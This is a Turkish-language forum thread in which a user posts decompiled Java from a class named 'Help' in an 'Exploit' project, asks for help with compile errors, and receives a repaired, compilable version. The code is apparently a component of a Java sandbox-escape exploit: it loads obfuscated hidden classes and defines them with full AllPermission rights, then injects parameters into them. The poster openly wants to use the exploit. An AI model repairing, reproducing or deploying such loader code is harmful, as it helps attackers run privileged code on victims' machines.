Java Compile Error
-
Decompile ettiğim class dosyalarını derlemek istediğimde bu hatalarla karşılaşıyorum, Java dan anlayan bir arkadaşımız el atarsa çok sevinirim :)/* */ import java.io.ByteArrayOutputStream;
/* */ import java.io.InputStream;
/* */ import java.io.Serializable;
/* */ import java.lang.reflect.Field;
/* */ import java.net.URL;
/* */ import java.security.AllPermission;
/* */ import java.security.CodeSource;
/* */ import java.security.Permissions;
/* */ import java.security.ProtectionDomain;
/* */ import java.security.cert.Certificate;
/* */
/* */ public class Help extends ClassLoader
/* */ implements Serializable
/* */ {
/* */ public static void FjujXp(Help paramHelp, Exploit paramExploit, String paramString1, String paramString2, String paramString3, int paramInt)
/* */ {
/* 20 */ String[] arrayOfString1 = { "wqw.x.gzBSIfpy$IAwPezXnKTLMoOZ", "wqw.x.gzBSIfpy" };
/* 21 */ String[] arrayOfString2 = { "/wqw/x/gzBSIfpy$IAwPezXnKTLMoOZ.class", "/wqw/x/gzBSIfpy.class" };
/* 22 */ Class localClass = null;
/* */ try
/* */ {
/* */ Object localObject1;
/* */ Object localObject2;
/* */ Object localObject3;
/* 26 */ for (int i = 0; i < arrayOfString1.length; i++)
/* */ {
/* 29 */ localObject1 = new ByteArrayOutputStream();
/* 30 */ localObject2 = new byte[8192];
/* */
/* 34 */ localObject3 = paramExploit.getClass().getResourceAsStream(arrayOfString2[i]);
/* */ int j;
/* 37 */ while ((j = ((InputStream)localObject3).read(localObject2)) > 0) {
/* 38 */ ((ByteArrayOutputStream)localObject1).write(localObject2, 0, j);
/* */ }
/* */
/* 41 */ localObject2 = ((ByteArrayOutputStream)localObject1).toByteArray();
/* */
/* 43 */ URL localURL = new URL("file:///");
/* 44 */ Certificate[] arrayOfCertificate = new Certificate[0];
/* 45 */ Permissions localPermissions = new Permissions();
/* 46 */ localPermissions.add(new AllPermission());
/* 47 */ ProtectionDomain localProtectionDomain = new ProtectionDomain(new CodeSource(localURL, arrayOfCertificate), localPermissions);
/* 48 */ localClass = paramHelp.defineClass(arrayOfString1[i], localObject2, 0, localObject2.length, localProtectionDomain);
/* */ }
/* */
/* 52 */ if (localClass != null)
/* */ {
/* 55 */ Field localField1 = localClass.getField("AsEy");
/* 56 */ localObject1 = localClass.getField("Nhc");
/* 57 */ localObject2 = localClass.getField("eNJrp");
/* 58 */ Field localField2 = localClass.getField("OirGp");
/* */
/* 61 */ localObject3 = localClass.newInstance();
/* */
/* 64 */ localField1.set(localObject3, paramString1);
/* 65 */ ((Field)localObject1).set(localObject3, paramString2);
/* 66 */ ((Field)localObject2).set(localObject3, paramString3);
/* 67 */ localField2.setInt(localObject3, paramInt);
/* */
/* 70 */ localObject3 = localClass.newInstance();
/* */ }
/* */ }
/* */ catch (Exception localException)
/* */ {
/* */ }
/* */ }
/* */ }init:
Deleting: C:\Documents and Settings\Administrator\Belgelerim\NetBeansProjects\JavaLibrary1\build\built-jar.properties
deps-jar:
Updating property file: C:\Documents and Settings\Administrator\Belgelerim\NetBeansProjects\JavaLibrary1\build\built-jar.properties
Compiling 1 source file to C:\Documents and Settings\Administrator\Belgelerim\NetBeansProjects\JavaLibrary1\build\classes
C:\Documents and Settings\Administrator\Belgelerim\NetBeansProjects\JavaLibrary1\src\Help.java:34: cannot find symbol
symbol : method read(java.lang.Object)
location: class java.io.InputStream
/* 37 */ while ((j = ((InputStream)localObject3).read(localObject2)) > 0) {
C:\Documents and Settings\Administrator\Belgelerim\NetBeansProjects\JavaLibrary1\src\Help.java:35: cannot find symbol
symbol : method write(java.lang.Object,int,int)
location: class java.io.ByteArrayOutputStream
/* 38 */ ((ByteArrayOutputStream)localObject1).write(localObject2, 0, j);
C:\Documents and Settings\Administrator\Belgelerim\NetBeansProjects\JavaLibrary1\src\Help.java:45: cannot find symbol
symbol : variable length
location: class java.lang.Object
/* 48 */ localClass = paramHelp.defineClass(arrayOfString1[i], localObject2, 0, localObject2.length, localProtectionDomain);
Note: C:\Documents and Settings\Administrator\Belgelerim\NetBeansProjects\JavaLibrary1\src\Exploit.java uses unchecked or unsafe operations.
Note: Recompile with -Xlint:unchecked for details.
3 errors
C:\Documents and Settings\Administrator\Belgelerim\NetBeansProjects\JavaLibrary1\nbproject\build-impl.xml:628: The following error occurred while executing this line:
C:\Documents and Settings\Administrator\Belgelerim\NetBeansProjects\JavaLibrary1\nbproject\build-impl.xml:246: Compile failed; see the compiler error output for details.
BUILD FAILED (total time: 1 second) -
uff javaya bak çok karışıkmış la
-
Derlenebilir kodu veriyorum aşağıda.
NOT1: Bu kodu derlesen bile çalışan programdan çok mantıklı bir sonuç bekleme. Kullandığın decompiler kısmen saçmalamış gibi görünüyor.
NOT2: Daha derleme hatalarını anlamıyorken exploit işlerine girmek ne haddine.
import java.io.ByteArrayOutputStream;
import java.io.InputStream;
import java.io.Serializable;
import java.lang.reflect.Field;
import java.net.URL;
import java.security.AllPermission;
import java.security.CodeSource;
import java.security.Permissions;
import java.security.ProtectionDomain;
import java.security.cert.Certificate;
public class Help extends ClassLoader implements Serializable {
public static void FjujXp(Help paramHelp, Exploit paramExploit, String paramString1, String paramString2, String paramString3, int paramInt) {
String[] arrayOfString1 = {"wqw.x.gzBSIfpy$IAwPezXnKTLMoOZ", "wqw.x.gzBSIfpy"};
String[] arrayOfString2 = {"/wqw/x/gzBSIfpy$IAwPezXnKTLMoOZ.class", "/wqw/x/gzBSIfpy.class"};
Class localClass = null;
try {
for (int i = 0; i < arrayOfString1.length; i++) {
ByteArrayOutputStream localObject1 = new ByteArrayOutputStream();
byte[] localObject2 = new byte[8192];
InputStream localObject3 = paramExploit.getClass().getResourceAsStream(arrayOfString2[i]);
int j;
while ((j = ((InputStream) localObject3).read(localObject2)) > 0) {
((ByteArrayOutputStream) localObject1).write(localObject2, 0, j);
}
localObject2 = ((ByteArrayOutputStream) localObject1).toByteArray();
URL localURL = new URL("file:///");
Certificate[] arrayOfCertificate = new Certificate[0];
Permissions localPermissions = new Permissions();
localPermissions.add(new AllPermission());
ProtectionDomain localProtectionDomain = new ProtectionDomain(new CodeSource(localURL, arrayOfCertificate), localPermissions);
localClass = paramHelp.defineClass(arrayOfString1[i], localObject2, 0, localObject2.length, localProtectionDomain);
}
if (localClass != null) {
Field localField1 = localClass.getField("AsEy");
Field localObject1 = localClass.getField("Nhc");
Field localObject2 = localClass.getField("eNJrp");
Field localField2 = localClass.getField("OirGp");
Object localObject3 = localClass.newInstance();
localField1.set(localObject3, paramString1);
((Field) localObject1).set(localObject3, paramString2);
((Field) localObject2).set(localObject3, paramString3);
localField2.setInt(localObject3, paramInt);
localObject3 = localClass.newInstance();
}
} catch (Exception localException) {
}
}
} -
eyv. yardımın için ama bu terslemek niye onu anlamadım ? bi exploit kullanıcaz diye java mı öğrenelim?